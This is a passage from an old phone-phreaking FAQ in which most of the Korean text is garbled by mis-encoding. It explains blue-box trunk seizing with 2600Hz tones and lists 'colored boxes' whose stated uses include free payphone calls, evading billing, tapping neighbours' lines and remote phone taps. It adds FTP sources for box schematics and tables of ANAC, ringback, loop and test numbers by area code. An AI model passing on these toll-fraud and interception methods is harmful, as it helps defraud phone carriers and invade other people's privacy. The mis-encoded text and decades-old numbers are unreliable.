ÁÖ¿ä ¿øÀÎÀº CCISÀÇ "ÁøÇà À½Çâ ¼Ò°Å"±â´ÉÀÌ´Ù. (out of band signalling). ºÒ¿îÇÏ°Ôµµ Toll
Completion CenterÀÇ 99%ÀÇ Ã»»ö»óÀÚ ÀÌ¿ëÀÚ´Â CCIS ¸µÅ©¸¦ ÀÌ¿ëÇÏ°í ÀÖ´Ù. ÀÌ°ÍÀº û»ö »óÀÚÀ» ÀÌ¿ëÇÏ´Â »ç¶÷¿¡°Ô´Â Àç¾ÈÀÌ´Ù. ¿Ö³ÄÇϸé, ´ëºÎºÐÀÇ MF signallingÀ» ÀÌ¿ëÇÏ´Â Æ®··Å©¸¦ ã±â À§ÇØ Áö¿ªÀ¸·ÎºÎÅÍ Àüȸ¦ Áö¿ª ¹ÛÀ¸·Î °É ¶§, CCIS°¡ ÀåÄ¡µÈ ³×Æ®¿öÅ©ÀÇ ºÎºÐÀ» ¾î¿ ¼ö ¾øÀÌ Áö³ª¾ß µÇ±â ¶§¹®¿¡ 2600hz¸¦ º¸³¾ ±³È¯±â¸¦ ã¾Æ¼ "winkstart" ½ÅÈ£¸¦ ¹Þ°í³ª¼ MF ½ÅÈ£¸¦ º¸³»´õ¶óµµ Àç¸í·É ½ÅÈ£¸¸À» ¹Þ°Ô µÈ´Ù. ÀÌ°ÍÀº Æ®··Å©¸¦ ÀâÀÚ¸¶ÀÚ(2600hz¸¦ ÀÌ¿ëÇÏ¿©), Originating
Toll Office°¡ ¸ñÀûÁö¿¡¼ÀÇ ÅëÁ¦¸¦ ÀÒÀº °ÍÀ¸·Î º»´Ù(´Ù½Ã
¸»Çؼ Æ®··Å©¸¦ ±â´Ù¸®´Â °Í). Àç¸í·ÉÀ» ¹Þ°Ô µÇ´Â °ÍÀº ±â´Ù¸®°í
ÀÕ´Â Æ®··Å©°¡ MF ÅæÀ» µè±â ¸øÇϱ⠶§¹®ÀÌ´Ù. ÀÌ°ÍÀº °ð ŸÀӾƿô¿¡
°É¸®°Ô µÈ´Ù. µû¶ó¼ ¾î¶»°ÔÇؼµç MF ½ÅÈ£¸¦ ÀÌ¿ëÇÏÁö¸¸ CCISS audio
mute ¹®Á¦¸¦ ÇÇÇÏ°ÔÀ̳ª Á¤Áö½ÃŲ °÷À» ã¾Æ¾ß ÇÑ´Ù. (ÈùÆ®: WATS
È®Àå±â¸¦ Àß »ìÆ캻´Ù.)
Èæ»ö ±â°è´Â ¹«¾ùÀΰ¡?
Èæ»ö »óÀÚ´Â ÀúÇ×(¶Ç´Â º´·Ä·Î ¿¬°áµÈ ÄÁµ§¼)·Î Àüȸ¦
¹Þ¾Ò´ÂÁö ÀüÈ È¸»çÀÇ Àåºñ°¡ ¾Ë ¼ö ¾øµµ·Ï Àüȼ±¿¡ ¼³Ä¡ÇÏ´Â °ÍÀÌ´Ù.
Èæ»ö »óÀÚ°¡ ÀÖ´Â ÀüÈ¿¡ Àüȸ¦ °Ç »ç¶÷Àº ÀüȺñ¸¦ ÁöºÒÇÏÁö ¾Ê°Ô
µÈ´Ù. Èæ»ö »óÀÚ´Â ESS¿¡¼ ÀÛµ¿ÇÏÁö ¾Ê´Â´Ù.
À¯»ö ±â°è(colored box)´Â ¸ðµÎ ¹«½¼ ±â´ÉÀÌ ÀÖ³ª?
Acrylic Steal Three-Way-Calling, Call Waiting and programmable
Call Forwarding on old 4-wire phone systems
Aqua Drain the voltage of the FBI lock-in-trace/trap-trace
Beige Lineman's hand set
Black Allows the calling party to not be billed for the call
placed
Blast Phone microphone amplifier
Blotto Supposedly shorts every phone out in the immediate area
Blue Emulate a true operator by seizing a trunk with a 2600hz
tone
Brown Create a party line from 2 phone lines
Bud Tap into your neighbors phone line
Chartreuse Use the electricity from your phone line
Cheese Connect two phones to create a diverter
Chrome Manipulate Traffic Signals by Remote Control
Clear A telephone pickup coil and a small amp used to make free
calls on Fortress Phones
Color Line activated telephone recorder
Copper Cause crosstalk interference on an extender
Crimson Hold button
Dark Re-route outgoing or incoming calls to another phone
Dayglo Connect to your neighbors phone line
Diverter Re-route outgoing or incoming calls to another phone
DLOC Create a party line from 2 phone lines
Gold Dialout router
Green Emulate the Coin Collect, Coin Return, and Ringback tones
Infinity Remotely activated phone tap
Jack Touch-Tone key pad
Light In-use light
Lunch AM transmitter
Magenta Connect a remote phone line to another remote phone line
Mauve Phone tap without cutting into a line
Neon External microphone
Noise Create line noise
Olive External ringer
Party Create a party line from 2 phone lines
Pearl Tone generator
Pink Create a party line from 2 phone lines
Purple Telephone hold button
Rainbow Kill a trace by putting 120v into the phone line (joke)
Razz Tap into your neighbors phone
Red Make free phone calls from pay phones by generating
quarter tones
Rock Add music to your phone line
Scarlet Cause a neighbors phone line to have poor reception
Silver Create the DTMF tones for A, B, C and D
Static Keep the voltage on a phone line high
Switch Add hold, indicator lights, conferencing, etc..
Tan Line activated telephone recorder
Tron Reverse the phase of power to your house, causing your
electric meter to run slower
TV Cable "See" sound waves on your TV
Urine Create a capacitative disturbance between the ring and
tip wires in another's telephone headset
Violet Keep a payphone from hanging up
White Portable DTMF keypad
Yellow Add an extension phone
¹Ú½º °³³äµµ´Â ´ÙÀ½ FTP »çÀÌÆ®¿¡¼ ¾òÀ» ¼ö ÀÖ´Ù.
ftp.netcom.com /pub/br/bradleym
ftp.netcom.com /pub/va/vandal
ftp.winternet.com /users/nitehwk
ANAC (Automatic Number Announcecement Circuit) ¹øÈ£´Â ÀüȹøÈ£·Î¼, Àüȸ¦ °Ç ÀüÈÀÇ
¹øÈ£¸¦ ´Ù½Ã µé·ÁÁÖ´Â °ÍÀÌ´Ù. ANAC ¹øÈ£´Â ÇÑ ½ÖÀÇ
Àüȼ±ÀÇ ÀüȹøÈ£¸¦ ¾Ë°í ½ÍÀ» °æ¿ì¿¡ Æí¸®ÇÏ´Ù.
ANAC ¹øÈ£ ã´Â ¹ý:
NPA(Area Code)¸¦ ã´Â´Ù. ±×¸®°í ±×°÷¿¡ ³ªÅ¸³ ¹øÈ£¸¦ ½ÃµµÇØ º»´Ù. ½ÇÆÐÇϸé, ³ªÅ¸³ª ÀÖ´Â ¹ø
È£¿¡ 1À» ´õÇؼ ½ÃµµÇØ º»´Ù. ±×°Íµµ ½ÇÆÐÇϸé, 311,
958±×¸®°í 200-222-2222¿Í °°Àº ÀϹÝÀûÀÎ ¹øÈ£¸¦ ½ÃµµÇØ º»´Ù. ±×
Áö¿ªÀÇ ANAC ¹øÈ£¸¦ ãÀ» °æ¿ì Å뺸ÇØ ÁÖ¾úÀ¸¸é ÁÁ°Ú´Ù.
°°Àº µµ½Ã ³»¿¡¼µµ ±³È¯±â¿¡ µû¶ó¼ ANAC ¹øÈ£°¡ ´Ù¾çÇÏ´Ù. ã°í ÀÖ´Â ÀüȹøÈ£¸¦ ¾Ë±â À§Çؼ ¸Þ´º¸¦ µû¶ó µÚÁ®¾ß ÇÑ´Ù. 800 ANAC ¹øÈ£¸¦ ³²¿ëÇÒ °æ¿ì ±× ¹øÈ£°¡ »ç¶óÁú ¿°·Á°¡ ÀÖÀ¸¹Ç·Î µÇµµ·Ï Áö¿ª ANAC ¹øÈ£¸¦ ÀÌ¿ëÇϱ⠹ٶõ´Ù.
N (800)425-6256 VRS Billing Systems/Integretel (800)4BLOCKME
(800)568-3197 Info Access Telephone Company's Automated Blocking Line
(800)692-6447 (800)MY-ANI-IS (Now protected by a passcode!)
N (800)858-9857 AT&T True Rewards
800¹øÀÌ ¾Æ´Ñ ÀüÁö¿ª ANAC ¹øÈ£´Â 404-988-9664ÀÌ´Ù. AT&T Carrier Access Code 10732·Î Àü
ȸ¦ °É¾î¾ß ÇÑ´Ù. ÀÌ ¹øÈ£¸¦ »ç¿ëÇÒ °æ¿ì, ¿ä±ÝÀÌ ºÎ°úµÇÁö
¾Ê´Â °ÍÀ¸·Î º¸ÀδÙ.
ÁÖÀÇ : ÀÌ°ÍÀº Âü°í¸¦ À§ÇÑ °ÍÀÌ´Ù. ANAC ¹øÈ£´Â °°Àº
µµ½Ã ³»¿¡¼µµ ±³È¯±â¿¡ µû¶ó ´Þ¶óÁø´Ù.
NPA ANAC number Approximate Geographic area
--- --------------- ---------------------------------------------
201 958 Hackensack/Jersey City/Newark/Paterson, NJ
202 811 District of Columbia
203 970 CT
205 300-222-2222 Birmingham, AL
205 300-555-5555 Many small towns in AL
205 300-648-1111 Dora, AL
205 300-765-4321 Bessemer, AL
205 300-798-1111 Forestdale, AL
205 300-833-3333 Birmingham
205 557-2311 Birmingham, AL
205 811 Pell City/Cropwell/Lincoln, AL
205 841-1111 Tarrant, AL
205 908-222-2222 Birmingham, AL
206 411 WA (Not US West)
207 958 ME
209 830-2121 Stockton, CA
209 211-9779 Stockton, CA
210 830 Brownsville/Laredo/San Antonio, TX
N 210 951 Brownsville/Laredo/San Antonio, TX (GTE)
212 958 Manhattan, NY
213 114 Los Angeles, CA (GTE)
213 1223 Los Angeles, CA (Some 1AESS switches)
213 211-2345 Los Angeles, CA (English response)
213 211-2346 Los Angeles, CA (DTMF response)
213 760-2??? Los Angeles, CA (DMS switches)
213 61056 Los Angeles, CA
214 570 Dallas, TX
214 790 Dallas, TX (GTE)
214 970-222-2222 Dallas, TX
214 970-611-1111 Dallas, TX (Southwestern Bell)
215 410-xxxx Philadelphia, PA
215 511 Philadelphia, PA
215 958 Philadelphia, PA
216 200-XXXX Akron/Canton/Cleveland/Lorain/Youngstown, OH
216 331 Akron/Canton/Cleveland/Lorain/Youngstown, OH
216 959-9892 Akron/Canton/Cleveland/Lorain/Youngstown, OH
217 200-xxx-xxxx Champaign-Urbana/Springfield, IL
219 550 Gary/Hammond/Michigan City/Southbend, IN
219 559 Gary/Hammond/Michigan City/Southbend, IN
N 301 2002006969 Hagerstown/Rockville, MD
301 958-9968 Hagerstown/Rockville, MD
303 958 Aspen/Boulder/Denver/Durango/Grand Junction
/Steamboat Springs, CO
N 305 200-555-1212 Ft. Lauderdale/Key West/Miami, FL
N 305 200200200200200 Ft. Lauderdale/Key West/Miami, FL
N 305 780-2411 Ft. Lauderdale/Key West/Miami, FL
310 114 Long Beach, CA (On many GTE switches)
310 1223 Long Beach, CA (Some 1AESS switches)
310 211-2345 Long Beach, CA (English response)
310 211-2346 Long Beach, CA (DTMF response)
312 200 Chicago, IL
312 290 Chicago, IL
312 1-200-8825 Chicago, IL (Last four change rapidly)
312 1-200-555-1212 Chicago, IL
313 200-200-2002 Ann Arbor/Dearborn/Detroit, MI
313 200-222-2222 Ann Arbor/Dearborn/Detroit, MI
313 200-xxx-xxxx Ann Arbor/Dearborn/Detroit, MI
313 200200200200200 Ann Arbor/Dearborn/Detroit, MI
314 410-xxxx# Columbia/Jefferson City/St.Louis, MO
315 953 Syracuse/Utica, NY
315 958 Syracuse/Utica, NY
315 998 Syracuse/Utica, NY
317 310-222-2222 Indianapolis/Kokomo, IN
317 559-222-2222 Indianapolis/Kokomo, IN
317 743-1218 Indianapolis/Kokomo, IN
334 5572411 Montgomery, AL
334 5572311 Montgomery, AL
401 200-200-4444 RI
401 222-2222 RI
402 311 Lincoln, NE
404 311 Atlanta, GA
N 770 780-2311 Atlanta, GA
404 940-xxx-xxxx Atlanta, GA
404 990 Atlanta, GA
405 890-7777777 Enid/Oklahoma City, OK
405 897 Enid/Oklahoma City, OK
U 407 200-222-2222 Orlando/West Palm Beach, FL (Bell South)
N 407 520-3111 Orlando/West Palm Beach, FL (United)
408 300-xxx-xxxx San Jose, CA
408 760 San Jose, CA
408 940 San Jose, CA
409 951 Beaumont/Galveston, TX
409 970-xxxx Beaumont/Galveston, TX
410 200-6969 Annapolis/Baltimore, MD
N 410 200-200-6969 Annapolis/Baltimore, MD
410 200-555-1212 Annapolis/Baltimore, MD
410 811 Annapolis/Baltimore, MD
412 711-6633 Pittsburgh, PA
412 711-4411 Pittsburgh, PA
412 999-xxxx Pittsburgh, PA
413 958 Pittsfield/Springfield, MA
413 200-555-5555 Pittsfield/Springfield, MA
414 330-2234 Fond du Lac/Green Bay/Milwaukee/Racine, WI
415 200-555-1212 San Francisco, CA
415 211-2111 San Francisco, CA
415 2222 San Francisco, CA
415 640 San Francisco, CA
415 760-2878 San Francisco, CA
415 7600-2222 San Francisco, CA
419 311 Toledo, OH
N 423 200-200-200 Chatanooga, Johnson City, Knoxville , TN
N 501 511 AR
502 2002222222 Frankfort/Louisville/Paducah/Shelbyville, KY
502 997-555-1212 Frankfort/Louisville/Paducah/Shelbyville, KY
503 611 Portland, OR
503 999 Portland, OR (GTE)
504 99882233 Baton Rouge/New Orleans, LA
504 201-269-1111 Baton Rouge/New Orleans, LA
504 998 Baton Rouge/New Orleans, LA
504 99851-0000000000 Baton Rouge/New Orleans, LA
508 958 Fall River/New Bedford/Worchester, MA
508 200-222-1234 Fall River/New Bedford/Worchester, A
508 200-222-2222 Fall River/New Bedford/Worchester, A
508 26011 Fall River/New Bedford/Worchester, MA
509 560 Spokane/Walla Walla/Yakima, WA
510 760-1111 Oakland, CA
512 830 Austin/Corpus Christi, TX
512 970-xxxx Austin/Corpus Christi, TX
N 513 380-55555555 Cincinnati/Dayton, OH
515 5463 Des Moines, IA
515 811 Des Moines, IA
516 958 Hempstead/Long Island, NY
516 968 Hempstead/Long Island, NY
517 200-222-2222 Bay City/Jackson/Lansing, MI
517 200200200200200 Bay City/Jackson/Lansing, MI
518 511 Albany/Schenectady/Troy, NY
518 997 Albany/Schenectady/Troy, NY
518 998 Albany/Schenectady/Troy, NY
N 540 211 Roanoke, VA (GTE)
N 540 311 Roanoke, VA (GTE)
N 541 200 Bend, OR
603 200-222-2222 NH
606 997-555-1212 Ashland/Winchester, KY
606 711 Ashland/Winchester, KY
607 993 Binghamton/Elmira, NY
609 958 Atlantic City/Camden/Trenton/Vineland, NJ
610 958 Allentown/Reading, PA
610 958-4100 Allentown/Reading, PA
612 511 Minneapolis/St.Paul, MN
614 200 Columbus/Steubenville, OH
614 571 Columbus/Steubenville, OH
615 200200200200200 Chatanooga/Knoxville/Nashville, TN
615 2002222222 Chatanooga/Knoxville/Nashville, TN
615 830 Nashville, TN
616 200-222-2222 Battle Creek/Grand Rapids/Kalamazoo, I
617 200-222-1234 Boston, MA
617 200-222-2222 Boston, MA
617 200-444-4444 Boston, MA (Woburn, MA)
617 220-2622 Boston, MA
617 958 Boston, MA
618 200-xxx-xxxx Alton/Cairo/Mt.Vernon, IL
618 930 Alton/Cairo/Mt.Vernon, IL
619 211-2001 San Diego, CA
619 211-2121 San Diego, CA
N 659 220-2622 Newmarket, NH
N 703 211 VA
N 703 511-3636 Culpeper/Orange/Fredericksburg, VA
703 811 Alexandria/Arlington/Roanoke, VA
704 311 Asheville/Charlotte, NC
N 706 940-xxxx Augusta, GA
707 211-2222 Eureka, CA
708 1-200-555-1212 Chicago/Elgin, IL
708 1-200-8825 Chicago/Elgin, IL (Last four change rapidly)
708 200-6153 Chicago/Elgin, IL
708 724-9951 Chicago/Elgin, IL
713 380 Houston, TX
713 970-xxxx Houston, TX
713 811 Humble, TX
N 713 380-5555-5555 Houston, TX
714 114 Anaheim, CA (GTE)
714 211-2121 Anaheim, CA (PacBell)
714 211-2222 Anaheim, CA (Pacbell)
N 714 211-7777 Anaheim, CA (Pacbell)
716 511 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)
716 990 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)
717 958 Harrisburg/Scranton/Wilkes-Barre, PA
718 958 Bronx/Brooklyn/Queens/Staten Island, NY
N 770 940-xxx-xxxx Marietta/Norcross, GA
N 770 780-2311 Marietta/Norcross, GA
802 2-222-222-2222 Vermont
802 200-222-2222 Vermont
802 1-700-222-2222 Vermont
802 111-2222 Vermont
N 804 990 Virginia Beach, VA
805 114 Bakersfield/Santa Barbara, CA
805 211-2345 Bakersfield/Santa Barbara, CA
805 211-2346 Bakersfield/Santa Barbara, CA (Returns DTMF)
805 830 Bakersfield/Santa Barbara, CA
806 970-xxxx Amarillo/Lubbock, TX
810 200200200200200 Flint/Pontiac/Southfield/Troy, I
N 810 311 Pontiac/Southfield/Troy, MI
812 410-555-1212 Evansville, IN
813 311 Ft. Meyers/St. Petersburg/Tampa, FL
N 815 200-3374 Crystal Lake, IL
N 815 270-3374 Crystal Lake, IL
N 815 770-3374 Crystal Lake, IL
815 200-xxx-xxxx La Salle/Rockford, IL
815 290 La Salle/Rockford, IL
817 211 Ft. Worth/Waco, TX
817 970-611-1111 Ft. Worth/Waco, TX (Southwestern Bell)
818 1223 Pasadena, CA (Some 1AESS switches)
818 211-2345 Pasadena, CA (English response)
818 211-2346 Pasadena, CA (DTMF response)
N 860 970 CT
903 970-611-1111 Tyler, TX
904 200-222-222 Jackonsville/Pensacola/Tallahasee, FL
906 1-200-222-2222 Marquette/Sault Ste. Marie, MI
907 811 AK
908 958 New Brunswick, NJ
N 909 111 Riverside/San Bernardino, CA (GTE)
910 200 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
910 311 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
910 988 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
914 990-1111 Peekskill/Poughkeepsie/White Plains/Yonkers, NY
915 970-xxxx Abilene/El Paso, TX
N 916 211-0007 Sacramento, CA (Pac Bell)
916 461 Sacramento, CA (Roseville Telephone)
919 200 Durham, NC
919 711 Durham, NC
N 954 200-555-1212 Ft. Lauderdale, FL
N 954 200200200200200 Ft. Lauderdale, FL
N 954 780-2411 Ft. Lauderdale, FL
Canada:
204 644-4444 Manitoba
306 115 Saskatchewan
403 311 Alberta, Yukon and N.W. Territory
403 908-222-2222 Alberta, Yukon and N.W. Territory
403 999 Alberta, Yukon and N.W. Territory
416 997-xxxx Toronto, Ontario
506 1-555-1313 New Brunswick
514 320-xxxx Montreal, Quebec
U 514 320-1232 Montreal, Quebec
U 514 320-1223 Montreal, Quebec
U 514 320-1233 Montreal, Quebec
519 320-xxxx London, Ontario
604 1116 British Columbia
604 1211 British Columbia
604 211 British Columbia
613 320-2232 Ottawa, Ontario
705 320-4567 North Bay/Saulte Ste. Marie, Ontario
N 819 320-1112 Quebec
Australia:
+61 03-552-4111 Victoria 03 area
+612 19123 All major capital cities
+612 11544
United Kingdom:
175
Israel:
110
Àç½ÅÈ£(ringback) ¹øÈ£¶õ ¹«¾ùÀΰ¡?
Àç½ÅÈ£ ¹øÈ£¶õ ÀüÈ°¡ °É·Á¿Ô´ø °÷À¸·Î Áï½Ã ´Ù½Ã Àüȸ¦
°Å´Â ¹øÈ£ÀÌ´Ù.
´ëºÎºÐÀÇ °æ¿ì, Àç½ÅÈ£ ¹øÈ£¿¡ Àüȸ¦ °É°í
³»°¡ ÀÖ´Â Áö¿ªÀÇ Àç½ÅÈ£ ¹øÈ£´Â?
'x'´Â Àüȸ¦ °É°í ÀÖ´Â °÷ÀÇ ÀüÈ ¹øÈ£¸¦ ´ë½Å ³Ö¾î¾ß ÇÒ °÷ÀÌ´Ù. '?'´Â Áö¿ª¿¡ ÀÖ´Â ±³È¯±â¸¶´Ù
´Þ¶óÁö°Å³ª ½Ã°£¿¡ µû¶ó ´Þ¶óÁö´Â ¹øÈ£¸¦ ¸»ÇÑ´Ù. °¡´ÉÇÑ ¸ðµç Á¶ÇÕÀ» ½ÃµµÇØ º¸±â ¹Ù¶õ´Ù.
NPA¿¡ ´ëÇÑ Àç½ÅÈ£ ¹øÈ£°¡ ¾ø´Ù¸é, 114, 951-xxx-xxxx, 954, 957 ±×¸®°í 958À» ½ÃµµÇغ¸¶ó.
±×¸®°í, ÀüÈ È¸»ç¿¡¼ Á¦°øÇÏ´Â ´Ù¸¥ NPA ¹øÈ£µµ ½ÃµµÇØ º¸¶ó.
ÁÖÀÇ: ÀÌ Áö¸®Àû Áö¿ªÀº Âü°íÀÇ ¸ñÀû¸¸À» À§ÇÑ °ÍÀÌ´Ù. Àç½ÅÈ£¹øÈ£´Â °°Àº µµ½Ã ³»¿¡¼µµ ±³È¯±â
¸¶´Ù ´Ù¸¦ ¼ö ÀÖ´Ù.
NPA Ringback number Approximate Geographic area
--- --------------- ---------------------------------------------
201 55?-xxxx Hackensack/Jersey City/Newark/Paterson, NJ
202 958-xxxx District of Columbia
203 99?-xxxx CT
206 571-xxxx WA
N 208 59X-xxxx ID
208 99xxx-xxxx ID
N 210 211-8849-xxxx Brownsville/Laredo/San Antonio, TX (GTE)
213 1-95x-xxxx Los Angeles, CA
N 214 971-xxxx Dallas, TX
215 811-xxxx Philadelphia, PA
216 551-xxxx Akron/Canton/Cleveland/Lorain/Youngstown, OH
219 571-xxx-xxxx Gary/Hammond/Michigan City/Southbend, IN
219 777-xxx-xxxx Gary/Hammond/Michigan City/Southbend, IN
301 579-xxxx Hagerstown/Rockville, MD
301 958-xxxx Hagerstown/Rockville, MD
303 99X-xxxx Grand Junction, CO
304 998-xxxx WV
305 999-xxxx Ft. Lauderdale/Key West/Miami, FL
312 511-xxxx Chicago, IL
312 511-xxx-xxxx Chicago, IL
312 57?-xxxx Chicago, IL
315 98x-xxxx Syracuse/Utica, NY
317 777-xxxx Indianapolis/Kokomo, IN
317 yyy-xxxx Indianapolis/Kokomo, IN (y=3rd digit of phone number)
319 79x-xxxx Davenport/Dubuque, Iowa
334 901-xxxx Montgomery, AL
401 98?-xxxx RI
404 450-xxxx Atlanta, GA
407 988-xxxx Orlando/West Palm Beach, FL
408 470-xxxx San Jose, CA
408 580-xxxx San Jose, CA
412 985-xxxx Pittsburgh, PA
414 977-xxxx Fond du Lac/Green Bay/Milwaukee/Racine, WI
414 978-xxxx Fond du Lac/Green Bay/Milwaukee/Racine, WI
415 350-xxxx San Francisco, CA
417 551-xxxx Joplin/Springfield, MO
501 221-xxx-xxxx AR
501 721-xxx-xxxx AR
502 988 Frankfort/Louisville/Paducah/Shelbyville, KY
503 541-XXXX OR
504 99x-xxxx Baton Rouge/New Orleans, LA
504 9988776655 Baton Rouge/New Orleans, LA
505 59?-xxxx New Mexico
512 95X-xxxx Austin, TX
513 951-xxxx Cincinnati/Dayton, OH
513 955-xxxx Cincinnati/Dayton, OH
513 99?-xxxx Cincinnati/Dayton, OH (X=0, 1, 2, 3, 4, 8 or 9)
N 515 559-XXXX Des Moines, IA
516 660-xxx-xxxx Hempstead/Long Island, NY
601 777-xxxx MS
609 55?-xxxx Atlantic City/Camden/Trenton/Vineland, NJ
610 811-xxxx Allentown/Reading, PA
612 511 Minneapolis/St.Paul, MN
612 999-xxx-xxxx Minneapolis/St.Paul, MN
N 613 999-xxx-xxxx Ottawa, Ontario
614 998-xxxx Columbus/Steubenville, OH
615 920-XXXX Chatanooga/Knoxville/Nashville, TN
615 930-xxxx Chatanooga/Knoxville/Nashville, TN
616 946-xxxx Battle Creek/Grand Rapids/Kalamazoo, I
619 331-xxxx San Diego, CA
619 332-xxxx San Diego, CA
N 659 981-XXXX Newmarket, NH
N 703 511-xxx-xxxx VA
703 958-xxxx Alexandria/Arlington/Roanoke, VA
708 511-xxxx Chicago/Elgin, IL
N 713 231-xxxx Los Angeles, CA
714 330? Anaheim, CA (GTE)
714 33?-xxxx Anaheim, CA (PacBell)
716 981-xxxx Rochester, NY (Rochester Tel)
718 660-xxxx Bronx/Brooklyn/Queens/Staten Island, NY
719 99x-xxxx Colorado Springs/Leadville/Pueblo, CO
801 938-xxxx Utah
801 939-xxxx Utah
802 987-xxxx Vermont
804 260 Charlottesville/Newport News/Norfolk/Richmond, VA
805 114 Bakersfield/Santa Barbara, CA
805 980-xxxx Bakersfield/Santa Barbara, CA
810 951-xxx-xxxx Pontiac/Southfield/Troy, MI
813 711 Ft. Meyers/St. Petersburg/Tampa, FL
817 971 Ft. Worth/Waco, TX (Flashhook, then 2#)
906 951-xxx-xxxx Marquette/Sault Ste. Marie, MI
908 55?-xxxx New Brunswick, NJ
908 953 New Brunswick, NJ
913 951-xxxx Lawrence/Salina/Topeka, KS
914 660-xxxx-xxxx Peekskill/Poughkeepsie/White Plains/Yonkers, NY
Canada:
204 590-xxx-xxxx Manitoba
416 57x-xxxx Toronto, Ontario
416 99x-xxxx Toronto, Ontario
416 999-xxx-xxxx Toronto, Ontario
506 572+xxx-xxxx New Brunswick
514 320-xxx-xxxx Montreal, Quebec
519 999-xxx-xxxx London, Ontario
N 604 311-xxx-xxxx British Columbia
613 999-xxx-xxxx Ottawa, Ontario
705 999-xxx-xxxx North Bay/Saulte Ste. Marie, Ontario
N 819 320-xxx-xxxx Quebec
N 905 999-xxx-xxxx Hamilton/Mississauga/Niagra Falls, Ontario
Australia: +61 199
Brazil: 109 or 199
N France: 3644
Holland: 99-xxxxxx
New Zealand: 137
Sweden: 0058
United Kingdom: 174 or 1744 or 175 or 0500-89-0011
N Amsterdam 0196
N Hilversum 0123456789
N Breukelen 0123456789
N Groningen 951
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415 ¹øÈ£ Áö¿ª¿¡ ÀÖ´Ù¸é, Pacific Bell¿¡¼ CNL ¼ºñ½º¸¦
(415)705-9299¹øÀ¸·Î ÇÏ°í ÀÖ´Ù.
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203 (203)771-8080 CT
312 (312)796-9600 Chicago, IL
506 (506)555-1313 New Brunswick
513 (513)397-9110 Cincinnati/Dayton, OH
516 (516)321-5700 Hempstead/Long Island, NY
614 (614)464-0123 Columbus/Steubenville, OH
813 (813)270-8711 Ft. Meyers/St. Petersburg/Tampa, FL
NYNEX (518)471-8111 New York, Connecticut, Vermont, Rhode
Island, New Hampshire, and Massachusetts
Ç×»ó ÅëÈÁßÀÎ ¹øÈ£´Â ¹«¾ùÀΰ¡?
´ÙÀ½ ¸ñ·Ï¿¡¼, "xxx"´Â ¿©·¯ ÇÁ¸®ÇȽº¿¡¼ °è¼ÓÀûÀ¸·Î ÅëÈÁßÀÎ °°Àº ¹øÈ£¸¦ ÀǹÌÇÑ´Ù. À̰͵éÀÇ ´ëºÎºÐ¿¡´Â ÅëÈÁß À½À» ³»´Â ±³È¯°ú Á¤»óÀûÀÎ ±³È¯ÀÌ ÀÖ´Ù. *ALWAYS* ÇÑâ ÀüÈ ÅëÈ°¡ ¸¹Àº °æ¿ì Ç×»ó ÀÌ·¯ÇÑ ¹øÈ£¸¦ 3 ¹ø Á¤µµ Å×½ºÆ® ÇÑ´Ù.
N 800 999-1803 WATS
N 201 635-9970 Hackensack/Jersey City/Newark/Paterson, NJ
N 212 724-9970 Manhattan, NY
N 213 xxx-1117 Los Angeles, CA
N 213 xxx-1118 Los Angeles, CA
N 213 xxx-1119 Los Angeles, CA
N 213 xxx-9198 Los Angeles, CA
216 xxx-9887 Akron/Canton/Cleveland/Lorain/Youngstown, OH
303 431-0000 Denver, CO
303 866-8660 Denver, CO
N 310 xxx-1117 Long Beach, CA
N 310 xxx-1118 Long Beach, CA
N 310 xxx-1119 Long Beach, CA
N 310 xxx-9198 Long Beach, CA
316 952-7265 Dodge City/Wichita, KS
501 377-99xx AR
U 719 472-3772 Colorado Springs/Leadville/Pueblo, CO
805 255-0699 Bakersfield/Santa Barbara, CA
N 714 xxx-1117 Anaheim, CA
N 714 xxx-1118 Anaheim, CA
N 714 xxx-1119 Anaheim, CA
N 714 xxx-9198 Anaheim, CA
N 717 292-0009 Harrisburg/Scranton/Wilkes-Barre, PA
N 818 xxx-1117 Pasadena, CA
N 818 xxx-1118 Pasadena, CA
N 818 xxx-1119 Pasadena, CA
N 818 xxx-9198 Pasadena, CA
U 818 885-0699 Pasadena, CA (???-0699 is a pattern)
N 860 525-7078 Hartford, CT
906 632-9999 Marquette/Sault Ste. Marie, MI
906 635-9999 Marquette/Sault Ste. Marie, MI
ÀüÈ ¼ºñ½º¸¦ Àá½Ã Áß´ÜÇÏ´Â ¹øÈ£´Â ¹«¾ùÀΰ¡?
NPA°¡ ³ªÅ¸³ª ÀÖÁö ¾Ê´Ù¸é LATA ¸¦ Æ÷ÇÔÇÏÁö ¾Ê°í ÀÖÀ» °æ¿ì, 119(GTD5 ½ºÀ§Ä¡)³ª 511°ú °°Àº ÈçÇÑ ¹øÈ£¸¦ ½ÃµµÇØ º¸¶ó.
314 511 Columbia/Jefferson City/St.Louis, MO (1 minute)
404 420 Atlanta, GA (5 minutes)
405 953 Enid/Oklahoma City, OK (1 minute)
U 407 511 Orlando, FL (United Telephone) (1 minute)
N 414 958-0013 Fond du Lac/Green Bay/Milwaukee/Racine, WI (1 minute)
512 200 Austin/Corpus Christi, TX (1 minute)
516 480 Hempstead/Long Island, NY (1 minute)
603 980 NH
614 xxx-9894 Columbus/Steubenville, OH
805 119 Bakersfield/Santa Barbara, CA (3 minutes)
919 211 or 511 Durham, NC (10 min - 1 hour)
°¨½Ã Å×½ºÆ® ÀåÄ¡(Proctor Test Set)¶õ?
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Àüȼö¸®°øÀÇ Àåºñ¸¦ ¾îµð¼ »ì ¼ö ÀÖ³ª?
Contact East
335 Willow Street
North Andover, MA 01845-5995
(508)682-2000
Jensen Tools
7815 S. 46th Street
Phoenix, AZ 85044-5399
(800)426-1194
Specialized Products
3131 Premier Drive
Irving, TX 75063
(800)866-5353
Time Motion Tools
12778 Brookprinter Place
Poway, CA 92064
(619)679-0303
DTMF´Â Dual Tone Multi FrequencyÀÇ ¾àÀÚÀÌ´Ù. ÀÌ°ÍÀº ÀüÈÀÇ ¼ýÀÚÆÇ¿¡¼ ¼ýÀÚ¸¦ ´©¸¦ ¶§ ¹ß»ýÇÏ´Â À½ÀÌ´Ù. ÀÌ À½Àº Çà°ú ¿ÀÇ ÇÕ¸¸ÅÀÌ´Ù. ABCD Å°´Â Ç¥ÁØ Àüȱ⿡´Â ¾ø´Ù.
1209 1336 1477 1633
697 1 2 3 A
770 4 5 6 B
852 7 8 9 C
941 * 0 # D
Type Hz On Off
---------------------------------------------------------------------
Dial Tone 350 & 440 --- ---
